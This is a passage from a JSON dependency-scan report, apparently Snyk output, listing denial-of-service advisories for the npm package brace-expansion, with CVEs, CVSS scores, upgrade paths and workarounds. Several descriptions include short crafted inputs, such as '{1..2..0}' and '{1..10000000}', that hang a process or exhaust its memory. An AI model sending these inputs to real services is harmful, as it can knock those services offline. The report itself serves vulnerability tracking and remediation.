Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "init-package-json@8.2.5", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "init-package-json@8.2.5", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "init-package-json@8.2.5", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "init-package-json@8.2.5", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "init-package-json@8.2.5", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "init-package-json@8.2.5", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "init-package-json@8.2.5", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "init-package-json@8.2.5", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "init-package-json@8.2.5", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "init-package-json@8.2.5", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", 